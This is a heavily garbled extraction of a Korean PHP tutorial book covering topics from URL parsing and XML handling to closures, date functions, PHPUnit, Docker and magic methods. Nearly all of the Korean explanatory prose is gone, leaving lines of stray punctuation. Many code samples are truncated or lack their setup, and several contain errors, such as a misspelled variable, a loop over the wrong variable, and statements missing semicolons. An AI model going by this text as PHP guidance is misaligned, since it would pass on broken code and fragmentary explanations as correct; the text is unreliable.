$parts = explode('/', $url);
Array
(
[0] => http:
[1] =>
[2] => example.com
[3] => project
[4] => controller
[5] => action
[6] => param1
[7] => param2
)
URL .
$last = end($parts);
// Output: param2
sizeof () .
echo $parts[sizeof($parts)-2];
// Output: param1
basename ()
basename () : .
URL .
https://riptutorial.com/ko/home 104
$url = "http://example.com/project/controller/action/param1/param2";
$parts = basename($url);
// Output: param2
$url = "http://example.com/project/controller/action/param1/param2/index.php";
$parts = basename(dirname($url));
// Output: param2
URL : https://riptutorial.com/ko/php/topic/10847/url--
https://riptutorial.com/ko/home 105
32: UTF-8
• UTF-8 . . PHP mbstring .
Examples
• UTF-8 . PHP mb_check_encoding() . .
$string = $_REQUEST['user_comment'];
if (!mb_check_encoding($string, 'UTF-8')) {
// the string is not UTF-8, so re-encode it.
$actualEncoding = mb_detect_encoding($string);
$string = mb_convert_encoding($string, 'UTF-8', $actualEncoding);
}
• HTML HTML .
○ HTML5
<meta charset="utf-8">
○ HTML
UTF-8 . PHP .
MySQL :
MySQL :
https://riptutorial.com/ko/home 106
• MySQL . .
○ mysqli set_charset() :
UTF-8 : https://riptutorial.com/ko/php/topic/1745/utf-8
https://riptutorial.com/ko/home 107
33: Windows PHP
HTTP 80 80 Skype . . HTTP .
Examples
XAMPP
XAMPP ?
XAMPP PHP . XAMPP MariaDB, PHP Perl Apache .
?
XAMPP . OS (32 64 OS ) PHP .
Windows XAMPP .
PHP / html ?
1. .exe XAMPP .
ZIP
1. zip .
2. XAMPP C:\xampp .
3. setup_xampp.bat XAMPP .
: C:\ , setup_xampp.bat .
https://riptutorial.com/ko/home 108
: Windows XAMPP C:/xampp/htdocs/
URL .
http://localhost/
http://127.0.0.1/
XAMPP .
https://riptutorial.com/ko/home 109
https://riptutorial.com/ko/home 110
WampServer SourceForge .
WampServer :
• WampServer (64 ) 3
• WampServer (32 ) 3
• : 2.4.18
• MySQL : 5.7.11
• PHP : 5.6.19 & 7.0.4
. .
WampServer . ( ). .
PHP IIS .
8. https://www.microsoft.com/en-US/download/details.aspx?id=30679 vcredist_x64.exe
vcredist_x86.exe (Visual C ++ 2012 ) .
index.php IIS .
PHP .
https://riptutorial.com/ko/home 111
, IIS . C:\inetpub\wwwroot\ . PHP .
Windows .
<?php
header('Content-Type: text/html; charset=UTF-8');
echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>';
: http : //localhost/index.php
https://riptutorial.com/ko/home 112
34: XML
Examples
XMLWriter XML
XMLWriter .
. /var/www/example.com/xml/output.xml /var/www/example.com/xml/output.xml .
$xml->openUri('file:///var/www/example.com/xml/output.xml');
(XML ) :
$xml->startDocument('1.0', 'utf-8');
$xml->writeElement('foo', 'bar');
XML .
<foo>bar</foo>
"" .
$xml->startElement('foo');
$xml->writeAttribute('bar', 'baz');
$xml->writeCdata('Lorem ipsum');
$xml->endElement();
DOMDocument XML
https://riptutorial.com/ko/home 113
1.
2.
XML .
$books = $doc->getElementsByTagName('book');
foreach ($books as $book) {
$title = $book->getElementsByTagName('name')->item(0)->nodeValue;
$price = $book->getElementsByTagName('price')->item(0)->nodeValue;
$id = $book->getElementsByTagName('id')->item(0)->nodeValue;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
1 PHP - $ 5.95.
DomDocument XML
, , CDATA .
https://riptutorial.com/ko/home 114
$books = $dom->createElement('books');
$book_1 = $dom->createElement('book');
//create a CDATA section (that is another DOMNode instance) and put it inside the name tag
$name_cdata = $dom->createCDATASection('PHP - Advanced');
$name_2->appendChild($name_cdata);
$price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00');
$id_2 = $dom->createElementNS($namespace, 'ns:id', '2');
$dom->appendChild($books);
XML .
https://riptutorial.com/ko/home 115
SimpleXML XML
XML XML .
1.
$xml_obj = simplexml_load_string($string);
2.
$xml_obj = simplexml_load_file('books.xml');
XML .
$xml = simplexml_load_string($xml_string);
$books = $xml->book;
foreach ($books as $book) {
$id = $book->id;
$title = $book->name;
$price = $book->price;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
1 PHP - $ 5.95.
2 PHP - Advanced $ 25.
XML .
https://riptutorial.com/ko/home 116
<book>
<bookName>StackOverflow SimpleXML Example</bookName>
<bookAuthor>PHP Programmer</bookAuthor>
</book>
<book>
<bookName>Another SimpleXML Example</bookName>
<bookAuthor>Stack Overflow Community</bookAuthor>
<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>
</book>
</document>
SimpleXML
SimpleXML . 3 . DOM .
$xmlElement = simplexml_import_dom($domNode);
XML .
$xmlElement = simplexml_load_file($filename);
SimpleXML
echo $xmlElement->book->bookName;
echo $xmlElement->book[1]->bookName;
[0] .
https://riptutorial.com/ko/home 117
$xmlElement->book
$xmlElement->book[0]
XML
$count = $xmlElement->count();
for ( $i=0; $i<$count; $i++ ) {
echo $xmlElement->book[$i]->bookName;
}
, . XML . .
, PHP $ file.
libxml_use_internal_errors(true);
$xmlElement = simplexml_load_file($file);
if ( $xmlElement === false ) {
$errors = libxml_get_errors();
foreach ( $errors as $thisError ) {
switch ( $thisError->level ) {
case LIBXML_ERR_FATAL:
echo "FATAL ERROR: ";
break;
case LIBXML_ERR_ERROR:
echo "Non Fatal Error: ";
break;
case LIBXML_ERR_WARNING:
echo "Warning: ";
break;
}
echo $thisError->code . PHP_EOL .
'Message: ' . $thisError->message . PHP_EOL .
https://riptutorial.com/ko/home 118
'Line: ' . $thisError->line . PHP_EOL .
'Column: ' . $thisError->column . PHP_EOL .
'File: ' . $thisError->file;
}
libxml_clear_errors();
} else {
echo 'Happy Days';
}
FATAL ERROR: 76
Message: Opening and ending tag mismatch: document line 2 and doc
Line: 13
Column: 10
File: filepath/filename.xml
"".
XML : https://riptutorial.com/ko/php/topic/780/xml
https://riptutorial.com/ko/home 119
35:
. . PHP , .
Examples
. PHP include require . .
global .
<?php
$amount_of_log_calls = 0;
function log_message($message) {
// Accessing global variable from function scope
// requires this explicit statement
global $amount_of_log_calls;
echo $message;
}
PHP $ GLOBALS .
, log_message() .
function log_message($message) {
// Access the global $amount_of_log_calls variable via the
// $GLOBALS array. No need for 'global $GLOBALS;', since it
// is a superglobal variable.
$GLOBALS['amount_of_log_calls'] += 1;
echo $messsage;
}
PHP global .
https://riptutorial.com/ko/home 120
<?php
return $default;
}
// retrieves $_POST['username']
echo getPostValue('username');
public . .
class SomeClass {
public static int $counter = 0;
}
. . .
class Singleton {
public static function getInstance() {
// Static variable $instance is not deleted when the function ends
static $instance;
// Second call to this function will not get into the if-statement,
// Because an instance of Singleton is now stored in the $instance
// variable and is persisted through multiple calls
if (!$instance) {
// First call to this function will reach this line,
// because the $instance has only been declared, not initialized
$instance = new Singleton();
}
return $instance;
}
}
$instance1 = Singleton::getInstance();
$instance2 = Singleton::getInstance();
// Comparing objects with the '===' operator checks whether they are
// the same instance. Will print 'true', because the static $instance
// variable in the getInstance() method is persisted through multiple calls
var_dump($instance1 === $instance2);
: https://riptutorial.com/ko/php/topic/3426/-
https://riptutorial.com/ko/home 121
36:
• ($ )
• unserialize ($ object)
PHP . "" .
Examples
/
serialize($object);
unserialize($object)
$array = array();
$array["a"] = "Foo";
$array["b"] = "Bar";
$array["c"] = "Baz";
$array["d"] = "Wom";
$serializedArray = serialize($array);
echo $serializedArray; //output:
a:4:{s:1:"a";s:3:"Foo";s:1:"b";s:3:"Bar";s:1:"c";s:3:"Baz";s:1:"d";s:3:"Wom";}
Serializable
https://riptutorial.com/ko/home 122
var_dump($ser); // Output: string(38) "C:3:"obj":23:{s:15:"My private data";}"
$newobj = unserialize($ser);
: https://riptutorial.com/ko/php/topic/1868/-
https://riptutorial.com/ko/home 123
37:
Examples
XHProf
xhprof_enable();
doSlowOperation();
$profile_data = xhprof_disable();
, CPU doSlowOperation() .
xhprof_sample_enable() / xhprof_sample_disable() . ( ) .
XHProf ( ) ( ) (platform.sh ).
<?php
echo memory_get_usage() . "\n";
// Outputs 350688 (or similar, depending on system and PHP version)
<?php
echo memory_get_peak_usage() . "\n";
// 385688
$array = array_fill(0, 1000, 'abc');
echo memory_get_peak_usage() . "\n";
// 422736
unset($array);
echo memory_get_peak_usage() . "\n";
// 422776
https://riptutorial.com/ko/home 124
.
Xdebug
php.ini . . .
URL .
http://example.com/article/1?XDEBUG_PROFILE=1
/tmp/cachegrind.out.12345
KCachegrind .
https://riptutorial.com/ko/home 125
.
•
• ,
•
•
https://riptutorial.com/ko/home 126
•
. .
• . .
• . ? .
: Xdebug, PHP . .
: https://riptutorial.com/ko/php/topic/3723/
https://riptutorial.com/ko/home 127
38:
PHP-ML . .
github .
. .
Examples
PHP-ML
PHP-ML
• SVC ( )
• k-
•
train predict . .
SVC ( )
. .
// Import library
use Phpml\Classification\SVC;
use Phpml\SupportVectorMachine\Kernel;
. .
https://riptutorial.com/ko/home 128
. predict .
k-
classfier .
// Training data
$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]];
$labels = ['a', 'a', 'a', 'b', 'b', 'b'];
// Initialize classifier
$classifier = new KNearestNeighbors();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 2]); // return 'b'
$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']
NaiveBayes
NaiveBayes Classifier Bayes' theorem .
// Training data
$samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]];
$labels = ['a', 'b', 'c'];
// Initialize classifier
$classifier = new NaiveBayes();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 1, 1]); // return 'a'
$classifier->predict([[3, 1, 1], [1, 4, 1]); // return ['a', 'b']
. .
PHP-ML
https://riptutorial.com/ko/home 129
. . . PHP-ML .
•
•
train predict .
// Import library
use Phpml\Regression\SVR;
use Phpml\SupportVectorMachine\Kernel;
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
$targets $targets . . .
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
$samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001],
[65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998],
[15000, 2000]];
$targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400];
https://riptutorial.com/ko/home 130
Multiple Linear Regression .
. . . API 15 . . 15 .
• -
• dbscan
-
k-Means n ., n . .
INIT_RANDOM . .
DBSCAN
KMeans DBSCAN , n . .
1. $ minSamples :
2. $ : .
. KMeans .
https://riptutorial.com/ko/home 131
pattern recognition data mining . . . 1 . . .
.
: https://riptutorial.com/ko/php/topic/5453/-
https://riptutorial.com/ko/home 132
39:
• func_name ($ parameterName1, $ parameterName2) { _to_run (); }
• function func_name ($ optionalParameter = default_value) { _to_run (); }
• function func_name (type_name $ parameterName) { _to_run (); }
• & returns_by_reference () { _to_run (); }
• func_name (& $ referenceParameter) { _to_run (); }
• func_name (... $ variadicParameters) { _to_run (); } // PHP 5.6+
• function func_name (type_name & ... $ varRefParams) {code_to_run (); } // PHP 5.6+
• function func_name () : return_type { _To_run (); } // PHP 7.0
Examples
.
function hello($name)
{
print "Hello $name";
}
hello("Alice");
. .
hello('Alice');
// Good Day Alice
hello('Alice', 'Australian');
// G'day Alice
"" .
function pluralize(&$word)
https://riptutorial.com/ko/home 133
{
if (substr($word, -1) == 'y') {
$word = substr($word, 0, -1) . 'ies';
} else {
$word .= 's';
}
}
$word = 'Bannana';
pluralize($word);
print $word;
// Bannanas
function addOneDay($date)
{
$date->modify('+1 day');
}
print $date->format('Y-m-d');
// 2014-03-01
clone .
. , socket_getpeername .
. .
$address $port . :
1. null ,
2. null
3.
4. .
5.6
https://riptutorial.com/ko/home 134
variadic_func(1, 2, 3, 4); // prints [2,3,4]
... :
class Foo{}
function a(Foo &...$foos){
$i = 0;
foreach($a as &$foo){ // note the &
$foo = $i++;
}
}
$a = new Foo;
$c = new Foo;
$b =& $c;
a($a, $b);
var_dump($a, $b, $c);
int(0)
int(1)
int(1)
, ( Traversable ) .
var_dump(...hash_algos());
string(3) "md2"
string(3) "md4"
string(3) "md5"
...
... :
var_dump(hash_algos());
array(46) {
[0]=>
string(3) "md2"
[1]=>
string(3) "md4"
...
}
https://riptutorial.com/ko/home 135
variadic . .
(:
PHP .
$number = 5
function foo(){
$number = 10
return $number
}
foo(); //Will print 10 because text defined inside function is a local variable
: https://riptutorial.com/ko/php/topic/4551/
https://riptutorial.com/ko/home 136
40:
PHP . PHP . . PHP , , , return .
Examples
.
$uppercase = function($data) {
return strtoupper($data);
};
use .
$divisor = 2332;
$myfunction = function($number) use ($divisor) {
return $number / $divisor;
};
$collection = [];
$additem(1);
$additem(2);
function square($number)
https://riptutorial.com/ko/home 137
{
return $number * $number;
}
class SquareHolder
{
function square($number)
{
return $number * $number;
}
}
class StaticSquareHolder
{
public static function square($number)
{
return $number * $number;
}
}
// array(3) {
// [0] =>
// string(3) "one"
// [1] =>
// string(3) "two"
// [2] =>
// string(5) "three"
// }
https://riptutorial.com/ko/home 138
.
// Anonymous function
function() {
return "Hello World!";
};
PHP ; .
$users = [
['name' => 'Alice', 'age' => 20],
['name' => 'Bobby', 'age' => 22],
['name' => 'Carol', 'age' => 17]
];
https://riptutorial.com/ko/home 139
call_user_func(function ($name) {
echo "Hello $name!";
}, 'John');
PHP PHP .
JavaScript . PHP .
$name = 'John';
, "" . .
$externalVariable = "Hello";
$secondExternalVariable = "Foo";
$myFunction = function() {
. ( use() ) .
PHP - global .
. .
( ).
PHP
$rate = .05;
https://riptutorial.com/ko/home 140
// Exports variable to closure's scope
$calculateTax = function ($value) use ($rate) {
return $value * $rate;
};
$rate = .1;
print $calculateTax(100); // 5
$rate = .05;
$rate = .1;
print $calculateTax(100); // 10
/ .
class SomeClass {
public function __invoke($param1, $param2) {
// put your code here
}
}
https://riptutorial.com/ko/home 141
__invoke .
__invoke .
PHP
array_map('strtoupper', $array);
()
:
true true .
: https://riptutorial.com/ko/php/topic/205/-
https://riptutorial.com/ko/home 142
41: /
Examples
getTimestamp
getTimeStemp datetime .
setDate
setDate DateTime .
2015 7 25 .
2016-07-25 17:52:15.819442
DateInterval DateTime .
. 7 .
(2016 8 1 ).
: 7 . 2016-08-08 .
$now->sub($interval);
echo "Samara says: Seven Days. You were happy last on $formatedLastDay.";
(2016 8 1 ).
: 7 . 2016-07-25 .
https://riptutorial.com/ko/home 143
DateTime
PHP . DateTime::createFromFormat .
$format = "Y,m,d";
$time = "2009,2,26";
$date = DateTime::createFromFormat($format, $time);
$format = "Y,m,d";
$time = "2009,2,26";
$date = date_create_from_format($format, $time);
DateTimes
date () , .
• Y : 4 ( : 2016)
• y : ( : 16 )
• m : , (01 12 )
• M : , 3 (1 , 2 , 3 )
• j : 0 (1 ~ 31)
• D : 3 (, , )
• h : (12 ) (01-12)
• H : (24 ) (00-23)
• A : AM PM
• i : (0 59)
• s : (0 59)
• .
. :
$date->format("H:i");
/* Returns 13:30 */
$date->format("H i s");
/* Returns 13 30 20 */
$date->format("h:i:s A");
/* Returns 01:30:20 PM */
$date->format("j/m/Y");
https://riptutorial.com/ko/home 144
/* Returns 26/05/2000 */
$date->format($format)
date_format($date, $format)
\DateTimeImmutable::createFromMutable($concrete);
PHP 5.6 :
\DateTimeImmutable::createFromFormat(\DateTime::ISO8601, $mutable->format(\DateTime::ISO8601),
$mutable->getTimezone());
/ : https://riptutorial.com/ko/php/topic/3684/----
https://riptutorial.com/ko/home 145
42:
• ( $ [, int $ = ()])
• int strtotime (string $ time [, int $ now])
Examples
date() strtotime() .
$timestamp = strtotime('2008-07-01T22:35:17.02');
$new_date_format = date('Y-m-d H:i:s', $timestamp);
- :
DateTime()
date() Unix .
https://riptutorial.com/ko/home 146
DateTime () @ .
( 000 13 ) . .
• substr() substr()
, substr() .
• substr 1000 .
1000 . 32 BCMath .
$timestamp = strtotime('1973-04-18');
DateTime () DateTime::getTimestamp() .
PHP 5.2 U .
DateTime::createFromFormat() .
https://riptutorial.com/ko/home 147
DATE_COOKIE - HTTP (, 22-7 -16 14:50:01 UTC)
echo date(DATE_RFC822);
echo date(DATE_ATOM,mktime(0,0,0,8,15,1947));
: 1947-08-15T00 : 00 : 00 + 05 : 30
DateTime .
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
https://riptutorial.com/ko/home 148
$minsDiff = $diff->i;
// $diff->s contains the difference in seconds between the two dates
$secondsDiff = $diff->s;
// Total Days Diff, that is the number of days between the two dates
$totalDaysDiff = $diff->days;
. .
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
var_dump($now > $twoYearsAgo); // prints bool(true)
var_dump($twoYearsAgo > $now); // prints bool(false)
var_dump($twoYearsAgo <= $twoYearsAgo); // prints bool(true)
var_dump($now == $now); // prints bool(true)
: https://riptutorial.com/ko/php/topic/425/---
https://riptutorial.com/ko/home 149
43:
PHP :
Examples
.
namespace First {
class A { ... }; // Define class A in the namespace First.
}
namespace Second {
class B { ... }; // Define class B in the namespace Second.
}
namespace {
class C { ... }; // Define class C in the root namespace.
}
namespace MyProject\Shapes;
Declaring Namespaces .
namespace MyProject\Shapes;
( ).
https://riptutorial.com/ko/home 150
use -statement .
use MyProject\Shapes\{
Rectangle, //Same as `use MyProject\Shapes\Rectangle`
Circle, //Same as `use MyProject\Shapes\Circle`
Triangle, //Same as `use MyProject\Shapes\Triangle`
use MyProject\Shapes\Oval;
use MyProject\Languages\Oval; // Apparantly Oval is also a language!
// Error!
as .
\ . .
namespace MyProject\Shapes;
https://riptutorial.com/ko/home 151
?
PHP . PHP . .
namespace MyProject\Sub\Level;
const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
MyProject\Sub\Level\CONNECT_OK
MyProject\Sub\Level\Connection
MyProject\Sub\Level\connect
: https://riptutorial.com/ko/php/topic/1021/-
https://riptutorial.com/ko/home 152
44:
Examples
PHP . .
(: ) .
Windows .
master.php
worker.php
fork
<?php
// $pid is the PID of child
$pid = pcntl_fork();
if ($pid == -1) {
die('Error while creating child process');
} else if ($pid) {
// Parent process
} else {
// Child process
}
?>
-1 fork . PID .
pnctl_wait .
https://riptutorial.com/ko/home 153
. bash PHP . proc_open . php bash pwd .
<?php
$descriptor = array(
0 => array("pipe", "r"), // pipe for stdin of child
1 => array("pipe", "w"), // pipe for stdout of child
);
$process = proc_open("bash", $descriptor, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "pwd" . "\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
?>
proc_close () .
: https://riptutorial.com/ko/php/topic/5263/-
https://riptutorial.com/ko/home 154
45:
• . :
• assertTrue(bool $condition[, string $messageIfFalse = '']);
• assertEquals(mixed $expected, mixed $actual[, string $messageIfNotEqual = '']);
Examples
() LoginForm ( ) .
class LoginForm {
public $email;
public $rememberMe;
public $password;
/* rules() method returns an array with what each field has as a requirement.
* Login form uses email and password to authenticate user.
*/
public function rules() {
return [
// Email and Password are both required
[['email', 'password'], 'required'],
// Password must match this pattern (must contain only letters and numbers)
['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],
];
}
/** the validate function checks for correctness of the passed rules */
public function validate($rule) {
$success = true;
list($var, $type) = $rule;
foreach ((array) $var as $var) {
switch ($type) {
case "required":
$success = $success && $this->$var != "";
break;
case "email":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL);
break;
case "boolean":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN,
FILTER_NULL_ON_FAILURE) !== null;
break;
case "match":
$success = $success && preg_match($rule["pattern"], $this->$var);
break;
default:
https://riptutorial.com/ko/home 155
throw new \InvalidArgumentException("Invalid filter type passed")
}
}
return $success;
}
}
Unit ( ).
/**
* This method belongs to Unit test class LoginFormTest and
* it's testing rules that are described above.
*/
public function testRuleValidation() {
$rules = $this->loginForm->rules();
https://riptutorial.com/ko/home 156
// Revert remeberMe to valid for next test
$this->loginForm->rememberMe = true;
}
}
Unit ( )? , . , .
, :
( ) . :
.? ( + ) / .
--coverage / . PHPUnit .
PHPUnit ( ):
https://riptutorial.com/ko/home 157
PHPUnit
. . .
...
public function testSomething()
{
$data = [...];
foreach($data as $dataSet) {
https://riptutorial.com/ko/home 158
$this->assertSomething($dataSet);
}
}
...
. ., ., . , PHPUnit .
public Iterator . .
@dataProvider .
/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a, $b)
{
$this->assertEquals($a, $b);
}
. .
https://riptutorial.com/ko/home 159
class MyIterator implements Iterator {
protected $array = [];
function rewind() {
return reset($this->array);
}
function current() {
return current($this->array);
}
function key() {
return key($this->array);
}
function next() {
return next($this->array);
}
function valid() {
return key($this->array) !== null;
}
}
...
$this->assertEquals($a, $toCompare);
}
[$parameter] [$parameter]
current() ( ) this :
function current() {
return current($this->array)[0];
https://riptutorial.com/ko/home 160
}
1) Warning
The data provider specified for Test::testEquals is invalid.
, Iterator . .
. Generator Iterator .
generator DirectoryIterator .
/**
* @param string $file
*
* @dataProvider fileDataProvider
*/
public function testSomethingWithFiles($fileName)
{
//$fileName is available here
yield . .
throw .
class Car
{
/**
* @throws \Exception
*/
https://riptutorial.com/ko/home 161
public function drive()
{
throw new \Exception('Useful message', 1);
}
}
// test
$this->expectException($expectedClass);
$this->expectMessage($expectedMessage);
$this->expectCode($expectedCode);
// invoke
$car->drive();
}
}
// test
$this->setExpectedException($expectedClass, $expectedMessage, $expectedCode);
// invoke
$car->drive();
}
}
: https://riptutorial.com/ko/php/topic/3417/-
https://riptutorial.com/ko/home 162
46:
Docker . .
docker . Docker .
Examples
PHP
Dockerfile . Dockerfile .
FROM php:7.0-apache
COPY /etc/php/php.ini /usr/local/etc/php/
COPY . /var/www/html/
EXPOSE 80
. PHP .
php.ini . .
80 .
php .
docker images
. container
https://riptutorial.com/ko/home 163
-p 80:80 80 80 . -d . .
docker ps
docker .
: https://riptutorial.com/ko/php/topic/9327/-
https://riptutorial.com/ko/home 164
47:
Examples
var_dump ( ) .
$array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()];
var_dump($array);
array(6) {
[0]=>
float(3.7)
[1]=>
string(6) "string"
[2]=>
int(10)
[3]=>
array(1) {
["hello"]=>
string(5) "world"
}
[4]=>
bool(false)
[5]=>
object(DateTime)#1 (3) {
["date"]=>
string(26) "2016-07-24 13:51:07.000000"
["timezone_type"]=>
int(3)
["timezone"]=>
string(13) "Europe/Berlin"
}
}
ini_set("display_errors", true);
ini_set("html_errors", false); // Display errors in plain text
error_reporting(E_ALL & ~E_USER_NOTICE); // Display everything except E_USER_NOTICE
https://riptutorial.com/ko/home 165
: (HTML .)
: php.ini (: ) .
phpinfo ()
phpinfo . phpinfo .
, PHP (OS, , , , ) . :
phpinfo();
INFO_* .
Xdebug
Xdebug PHP .
DBGp .
•
•
• var_dump()
• .
•
•
• (PHP )
https://riptutorial.com/ko/home 166
. var_dump php C++ Java .
php.ini :
zend_extension="/usr/local/php/modules/xdebug.so"
.
XDebug .
phpversion ()
PHP .
( )
: https://riptutorial.com/ko/php/topic/3339/
https://riptutorial.com/ko/home 167
48:
PHP .
Examples
PHP
/ ( PHP )
class HardDrive {
protected $isExternal = false;
protected $capacity = 0;
protected $speed = 0;
https://riptutorial.com/ko/home 168
?
Method Chaining . Method Chaining Expression Builders Fluent Interfaces . () , .
Method Chaining . :
. .
. API API .
Demeter
Demeter . . . Fluent Interfaces Expression Builder Method Chaining . Method
Chaining Demeter .
: https://riptutorial.com/ko/php/topic/9992/-
https://riptutorial.com/ko/home 169
49:
. . ( 6 ) ( ' ').
, PHP .
. . PHP .
• for
• while
• do..while
• foreach
continue break .
Examples
...
for .
. $i .
10 0 9 .
# Example 2
for ($i = 0; ; $i++) {
if ($i > 9) {
break;
}
echo $i, ',';
}
# Example 3
$i = 0;
for (; ; ) {
https://riptutorial.com/ko/home 170
if ($i > 9) {
break;
}
echo $i, ',';
$i++;
}
# Example 4
for ($i = 0, $j = 0; $i <= 9; $j += $i, print $i. ',', $i++);
0,1,2,3,4,5,6,7,8,9,
foreach .
$value 1 .
foreach / .
https://riptutorial.com/ko/home 171
foreach .
break .
$i = 5;
while(true) {
echo 120/$i.PHP_EOL;
$i -= 1;
if ($i == 0) {
break;
}
}
24
30
40
60
120
$i 0 0 .
break . . 160 # #
$output = "";
$inputs = array(
"#soblessed #throwbackthursday",
"happy tuesday",
"#nofilter",
/* more inputs */
);
foreach($inputs as $input) {
for($i = 0; $i < strlen($input); $i += 1) {
if ($input[$i] == '#') continue;
$output .= $input[$i];
if (strlen($output) == 160) break 2;
}
$output .= ' ';
}
break 2 .
do...while . .
$i , 25 $i .
https://riptutorial.com/ko/home 172
$i = 0;
do {
$i++;
} while($i < 25);
continue .
continue . .
$data = [
[ "Fruit" => "Apple", "Color" => "Red", "Cost" => 1 ],
[ "Fruit" => "Banana", "Color" => "Yellow", "Cost" => 7 ],
[ "Fruit" => "Cherry", "Color" => "Red", "Cost" => 2 ],
[ "Fruit" => "Grape", "Color" => "Green", "Cost" => 4 ]
];
foreach($data as $fruit) {
https://riptutorial.com/ko/home 173
foreach($fruit as $key => $value) {
if ($key == "Cost" && $value >= 5) {
continue 2;
}
/* make a pie */
}
}
while .
. .
100 .
$i = true;
$sum = 0;
while ($i) {
if ($sum === 100) {
$i = false;
} else {
$sum += 10;
}
}
echo 'The sum is: ', $sum;
: https://riptutorial.com/ko/php/topic/2213/
https://riptutorial.com/ko/home 174
50:
Examples
__get (), __set (), __isset () __unset ()
$animal->height = 10;
isset($animal->height);
__isset($name) . .
unset($animal->height);
__unset($name) .
PHP . .
class Example {
private $data = [];
return $this->data[$name];
}
https://riptutorial.com/ko/home 175
}
}
empty ()
class empty() __isset() . PHP .
__construct () __destruct ()
class Shape {
public function __construct() {
echo "Shape created!\n";
}
}
$this->width = $width;
$this->height = $height;
echo "Created {$this->width}x{$this->height} Rectangle\n";
}
function createRectangle() {
// Instantiating an object will call the constructor with the specified arguments
$rectangle = new Rectangle(20, 50);
https://riptutorial.com/ko/home 176
// 'Created 20x50 Rectangle' will be printed
}
createRectangle();
// 'Destroying 20x50 Rectangle' will be printed, because
// the `$rectangle` object was local to the createRectangle function, so
// When the function scope is exited, the object is destroyed and its
// destructor is called.
__toString ()
__toString() . .
class User {
public $first_name;
public $last_name;
public $age;
__invoke ()
. .
class Invokable
{
/**
* This method will be called if object will be executed like a function:
*
* $invokable();
*
* Args will be passed as in regular method call.
*/
public function __invoke($arg, $arg, ...)
{
print_r(func_get_args());
https://riptutorial.com/ko/home 177
}
}
// Example:
$invokable = new Invokable();
$invokable([1, 2, 3]);
// optputs:
Array
(
[0] => 1
[1] => 2
[2] => 3
)
__call () __callStatic ()
__call() __callStatic() .
class Foo
{
/**
* This method will be called when somebody will try to invoke a method in object
* context, which does not exist, like:
*
* $foo->method($arg, $arg1);
*
* First argument will contain the method name(in example above it will be "method"),
* and the second will contain the values of $arg and $arg1 as an array.
*/
public function __call($method, $arguments)
{
